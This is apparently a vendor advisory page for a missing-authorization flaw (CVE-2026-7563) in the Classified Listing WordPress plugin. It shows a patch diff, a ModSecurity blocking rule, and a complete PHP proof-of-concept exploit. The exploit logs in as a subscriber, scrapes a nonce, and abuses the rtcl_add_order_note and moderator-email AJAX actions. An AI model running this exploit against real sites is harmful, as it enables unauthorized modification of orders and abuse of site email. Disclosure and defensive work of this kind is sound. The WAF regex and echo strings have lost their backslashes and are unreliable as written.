-							 . '" ' . $data_label . '><option value="">' . esc_html__( 'Select a country / region…', 'classified-listing' )
-							 . '</option>';
+					         . '" class="rtcl-form-control country_to_state country_select '
+					         . esc_attr( implode( ' ', $args['input_class'] ) ) . '" ' . implode( ' ', $custom_attributes ) . ' data-placeholder="'
+					         . esc_attr( $args['placeholder'] ? $args['placeholder'] : esc_attr__( 'Select a country / region…', 'classified-listing' ) )
+					         . '" ' . $data_label . '><option value="">' . esc_html__( 'Select a country / region…', 'classified-listing' )
+					         . '</option>';

 					foreach ( $countries as $ckey => $cvalue ) {
 						$field .= '<option value="' . esc_attr( $ckey ) . '" ' . selected( $value, $ckey, false ) . '>' . esc_html( $cvalue ) . '</option>';
@@ -5154,15 +5155,15 @@
 					$field_container = '<div class="rtcl-form-group rtcl-form-row %1$s" id="%2$s" style="display: none">%3$s</div>';

 					$field .= '<input type="hidden" class="hidden" name="' . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] ) . '" value="" '
-							  . implode( ' ', $custom_attributes ) . ' placeholder="' . esc_attr( $args['placeholder'] )
-							  . '" readonly="readonly" data-input-classes="' . esc_attr( implode( ' ', $args['input_class'] ) ) . '"/>';
+					          . implode( ' ', $custom_attributes ) . ' placeholder="' . esc_attr( $args['placeholder'] )
+					          . '" readonly="readonly" data-input-classes="' . esc_attr( implode( ' ', $args['input_class'] ) ) . '"/>';
 				} elseif ( ! is_null( $for_country ) && is_array( $states ) ) {
 					$data_label = ! empty( $args['label'] ) ? 'data-label="' . esc_attr( $args['label'] ) . '"' : '';

 					$field .= '<select name="' . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] ) . '" class="rtcl-form-control state_select '
-							  . esc_attr( implode( ' ', $args['input_class'] ) ) . '" ' . implode( ' ', $custom_attributes ) . ' data-placeholder="'
-							  . esc_attr( $args['placeholder'] ? $args['placeholder'] : esc_html__( 'Select an option…', 'classified-listing' ) )
-							  . '"  data-input-classes="' . esc_attr( implode( ' ', $args['input_class'] ) ) . '" ' . $data_label . '>
+					          . esc_attr( implode( ' ', $args['input_class'] ) ) . '" ' . implode( ' ', $custom_attributes ) . ' data-placeholder="'
+					          . esc_attr( $args['placeholder'] ? $args['placeholder'] : esc_html__( 'Select an option…', 'classified-listing' ) )
+					          . '"  data-input-classes="' . esc_attr( implode( ' ', $args['input_class'] ) ) . '" ' . $data_label . '>
 						<option value="">' . esc_html__( 'Select an option…', 'classified-listing' ) . '</option>';

 					foreach ( $states as $ckey => $cvalue ) {
@@ -5172,24 +5173,24 @@
 					$field .= '</select>';
 				} else {
 					$field .= '<input type="text" class="rtcl-form-control input-text ' . esc_attr( implode( ' ', $args['input_class'] ) ) . '" value="'
-							  . esc_attr( $value ) . '"  placeholder="' . esc_attr( $args['placeholder'] ) . '" name="' . esc_attr( $key ) . '" id="'
-							  . esc_attr( $args['id'] ) . '" ' . implode( ' ', $custom_attributes ) . ' data-input-classes="' . esc_attr( implode( ' ',
+					          . esc_attr( $value ) . '"  placeholder="' . esc_attr( $args['placeholder'] ) . '" name="' . esc_attr( $key ) . '" id="'
+					          . esc_attr( $args['id'] ) . '" ' . implode( ' ', $custom_attributes ) . ' data-input-classes="' . esc_attr( implode( ' ',
 							$args['input_class'] ) ) . '"/>';
 				}

 				break;
 			case 'textarea':
 				$field .= '<textarea name="' . esc_attr( $key ) . '" class="input-text rtcl-form-control ' . esc_attr( implode( ' ', $args['input_class'] ) )
-						  . '" id="' . esc_attr( $args['id'] ) . '" placeholder="' . esc_attr( $args['placeholder'] ) . '" '
-						  . ( empty( $args['custom_attributes']['rows'] ) ? ' rows="2"' : '' ) . ( empty( $args['custom_attributes']['cols'] ) ? ' cols="5"'
+				          . '" id="' . esc_attr( $args['id'] ) . '" placeholder="' . esc_attr( $args['placeholder'] ) . '" '
+				          . ( empty( $args['custom_attributes']['rows'] ) ? ' rows="2"' : '' ) . ( empty( $args['custom_attributes']['cols'] ) ? ' cols="5"'
 						: '' ) . implode( ' ', $custom_attributes ) . '>' . esc_textarea( $value ) . '</textarea>';

 				break;
 			case 'checkbox':
 				$field = '<label class="checkbox ' . implode( ' ', $args['label_class'] ) . '" ' . implode( ' ', $custom_attributes ) . '>
 						<input type="' . esc_attr( $args['type'] ) . '" class="input-checkbox ' . esc_attr( implode( ' ', $args['input_class'] ) ) . '" name="'
-						 . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] ) . '" value="1" ' . checked( $value, 1, false ) . ' /> ' . $args['label']
-						 . $required . '</label>';
+				         . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] ) . '" value="1" ' . checked( $value, 1, false ) . ' /> ' . $args['label']
+				         . $required . '</label>';

 				break;
 			case 'text':
@@ -5206,14 +5207,14 @@
 			case 'tel':
 				$field .= '<input type="' . esc_attr( $args['type'] ) . '" class="input-text rtcl-form-control ' . esc_attr( implode( ' ',
 						$args['input_class'] ) )
-						  . '" name="' . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] ) . '" placeholder="' . esc_attr( $args['placeholder'] )
-						  . '"  value="' . esc_attr( $value ) . '" ' . implode( ' ', $custom_attributes ) . ' />';
+				          . '" name="' . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] ) . '" placeholder="' . esc_attr( $args['placeholder'] )
+				          . '"  value="' . esc_attr( $value ) . '" ' . implode( ' ', $custom_attributes ) . ' />';

 				break;
 			case 'hidden':
 				$field .= '<input type="' . esc_attr( $args['type'] ) . '" class="input-hidden ' . esc_attr( implode( ' ', $args['input_class'] ) ) . '" name="'
-						  . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] ) . '" value="' . esc_attr( $value ) . '" ' . implode( ' ', $custom_attributes )
-						  . ' />';
+				          . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] ) . '" value="' . esc_attr( $value ) . '" ' . implode( ' ', $custom_attributes )
+				          . ' />';

 				break;
 			case 'select':
@@ -5230,12 +5231,12 @@
 							$custom_attributes[] = 'data-allow_clear="true"';
 						}
 						$options .= '<option value="' . esc_attr( $option_key ) . '" ' . selected( $value, $option_key, false ) . '>' . esc_html( $option_text )
-									. '</option>';
+						            . '</option>';
 					}

 					$field .= '<select name="' . esc_attr( $key ) . '" id="' . esc_attr( $args['id'] ) . '" class="rtcl-form-control select '
-							  . esc_attr( implode( ' ', $args['input_class'] ) ) . '" ' . implode( ' ', $custom_attributes ) . ' data-placeholder="'
-							  . esc_attr( $args['placeholder'] ) . '">
+					          . esc_attr( implode( ' ', $args['input_class'] ) ) . '" ' . implode( ' ', $custom_attributes ) . ' data-placeholder="'
+					          . esc_attr( $args['placeholder'] ) . '">
 							' . $options . '
 						</select>';
 				}
@@ -5247,8 +5248,8 @@
 				if ( ! empty( $args['options'] ) ) {
 					foreach ( $args['options'] as $option_key => $option_text ) {
 						$field .= '<input type="radio" class="input-radio ' . esc_attr( implode( ' ', $args['input_class'] ) ) . '" value="'
-								  . esc_attr( $option_key ) . '" name="' . esc_attr( $key ) . '" ' . implode( ' ', $custom_attributes ) . ' id="'
-								  . esc_attr( $args['id'] ) . '_' . esc_attr( $option_key ) . '"' . checked( $value, $option_key, false ) . ' />';
+						          . esc_attr( $option_key ) . '" name="' . esc_attr( $key ) . '" ' . implode( ' ', $custom_attributes ) . ' id="'
+						          . esc_attr( $args['id'] ) . '_' . esc_attr( $option_key ) . '"' . checked( $value, $option_key, false ) . ' />';
 						$field .= '<label for="' . esc_attr( $args['id'] ) . '_' . esc_attr( $option_key ) . '" class="radio ' . implode( ' ',
 								$args['label_class'] ) . '">' . esc_html( $option_text ) . '</label>';
 					}
@@ -5262,14 +5263,14 @@

 			if ( $args['label'] && 'checkbox' !== $args['type'] ) {
 				$field_html .= '<label for="' . esc_attr( $label_id ) . '" class="' . esc_attr( implode( ' ', $args['label_class'] ) ) . '">'
-							   . wp_kses_post( $args['label'] ) . $required . '</label>';
+				               . wp_kses_post( $args['label'] ) . $required . '</label>';
 			}

 			$field_html .= '<div class="rtcl-input-wrapper">' . $field;

 			if ( $args['description'] ) {
 				$field_html .= '<span class="description" id="' . esc_attr( $args['id'] ) . '-description" aria-hidden="true">'
-							   . wp_kses_post( $args['description'] ) . '</span>';
+				               . wp_kses_post( $args['description'] ) . '</span>';
 			}

 			$field_html .= '</div>';
@@ -5443,7 +5444,7 @@
 				foreach ( $translatedIds as $translatedId ) {
 					foreach ( $args as $type => $data ) {
 						if ( ! empty( $data )
-							 && in_array( $type, [
+						     && in_array( $type, [
 								'update',
 								'delete',
 								'post_status_update',
--- a/classified-listing/assets/block/main.asset.php
+++ b/classified-listing/assets/block/main.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n'), 'version' => 'e7fbab2a01da1d784f59');
+<?php return array('dependencies' => array('jquery', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n'), 'version' => 'a7660fa4b00fa53e9866');
--- a/classified-listing/classified-listing.php
+++ b/classified-listing/classified-listing.php
@@ -4,7 +4,7 @@
  * Plugin Name:       Classified Listing – AI-Powered Classified ads & Business Directory Plugin
  * Plugin URI:        https://radiustheme.com/demo/wordpress/classified
  * Description:       The Best Classified Listing and Business Directory Plugin for WordPress to create Classified ads website, job directory, local business directory and service directory.
- * Version:           5.3.10
+ * Version:           5.4.0
  * Requires at least: 6.7
  * Requires PHP:      7.4
  * Author:            Business Directory Team by RadiusTheme
@@ -18,7 +18,7 @@
 defined( 'ABSPATH' ) || die( 'Keep Silent' );


-define( 'RTCL_VERSION', '5.3.10' );
+define( 'RTCL_VERSION', '5.4.0' );
 define( 'RTCL_PLUGIN_FILE', __FILE__ );
 define( 'RTCL_PATH', plugin_dir_path( RTCL_PLUGIN_FILE ) );
 define( 'RTCL_URL', plugins_url( '', RTCL_PLUGIN_FILE ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7563
# Blocks unauthorized use of rtcl_add_order_note and rtcl_send_email_to_user_by_moderator AJAX actions
# Requires authenticated session with appropriate capabilities; however, both endpoints lack capability checks
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20267563,phase:2,deny,status:403,chain,msg:'CVE-2026-7563: Missing authorization in Classified Listing AJAX actions',severity:'CRITICAL',tag:'CVE-2026-7563'"
  SecRule ARGS_POST:action "@pm rtcl_add_order_note rtcl_send_email_to_user_by_moderator" 
    "chain"
    SecRule ARGS_POST:post_id "@rx ^d+$" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7563 - Classified Listing <= 5.3.10 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via add_order_note and send_email_to_user_by_moderator AJAX Actions

// Configuration - Set your target WordPress site and credentials
$target_url = 'http://example.com';  // Change this to the target WordPress URL
$username = 'subscriber_user';       // Change to a valid subscriber username
$password = 'subscriber_password';   // Change to the subscriber's password

// Step 1: Authenticate to WordPress and get cookies/nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Authenticating as subscriber: $usernamen";

// Step 2: Fetch a valid nonce from the WordPress admin page (AJAX nonce often available in page source)
$admin_url = $target_url . '/wp-admin/admin.php?page=rtcl-admin';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$admin_page = curl_exec($ch);
curl_close($ch);

// Extract nonce from page - common WordPress pattern
preg_match('/var rtcl_nonce = "([a-f0-9]+)";/', $admin_page, $matches);
if (isset($matches[1])) {
    $nonce = $matches[1];
    echo "[+] Found AJAX nonce: $noncen";
} else {
    // Fallback: try to extract from a script tag
    preg_match('/"ajax_nonce":"([a-f0-9]+)"/', $admin_page, $matches2);
    if (isset($matches2[1])) {
        $nonce = $matches2[1];
        echo "[+] Found AJAX nonce (alternative): $noncen";
    } else {
        die("[-] Could not retrieve AJAX nonce. Manual extraction required.n");
    }
}

// Step 3: Exploit add_order_note - Add an arbitrary note to any order (e.g., order ID 1)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$order_id = 1;  // Change to target order ID
$note_content = 'This is a test note added by an unauthorized user (subscriber). CVE-2026-7563 PoC.';

$post_data = array(
    'action' => 'rtcl_add_order_note',
    'post_id' => $order_id,
    'note' => $note_content,
    'note_type' => 'private',
    'rtcl_nonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Exploiting add_order_note: Adding note to order ID $order_idn";
echo "[+] Server response: $responsen";

// Step 4: Exploit send_email_to_user_by_moderator - Trigger email to listing owner
$listing_id = 1;  // Change to target listing ID
$email_data = array(
    'action' => 'rtcl_send_email_to_user_by_moderator',
    'post_id' => $listing_id,
    'subject' => 'Test Email - CVE-2026-7563 PoC',
    'message' => 'This is a test email sent by an unauthorized subscriber.',
    'rtcl_nonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($email_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[+] Exploiting send_email_to_user_by_moderator: Sending email for listing ID $listing_idn";
echo "[+] Server response: $responsen";

echo "[+] Exploitation complete. Check the target site for unauthorized changes.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School